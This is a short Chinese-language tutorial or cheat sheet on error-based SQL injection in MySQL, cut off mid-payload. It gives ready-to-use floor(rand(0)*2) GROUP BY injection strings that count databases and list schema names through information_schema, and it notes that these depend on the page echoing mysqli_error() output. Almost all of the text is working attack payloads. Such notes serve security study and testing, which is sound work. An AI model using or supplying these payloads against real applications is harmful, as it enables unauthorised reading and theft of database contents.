1、Error-based SQL injection
利用前提:
页面上没有显示位,但是需要输出SQL语句执行错误信息。比如mysqli_error()
优点:
不需要显示位
缺点:
需要输出mysqli_error( )的报错信息
-
通过floor报错
select 列1(count()) , 列2(concat()随机数) as x from 表 group by x;
select count(),concat(database(),floor(rand(0)*2)) as x from users group by x
select * from users where id = 1 and (select 345 from (表) as b ) -
获取有多少个数据库
and (select 1 from(select count(*),concat((select (select (select
concat(0x7e,count(schema_name),0x7e) from information_schema.schemata)) from
information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables
group by x)a) -
通过limit 获取所有数据库名
and (select 1 from(select count(*),concat((select (select (select concat(0x7e,
schema_name, 0x7e) from informat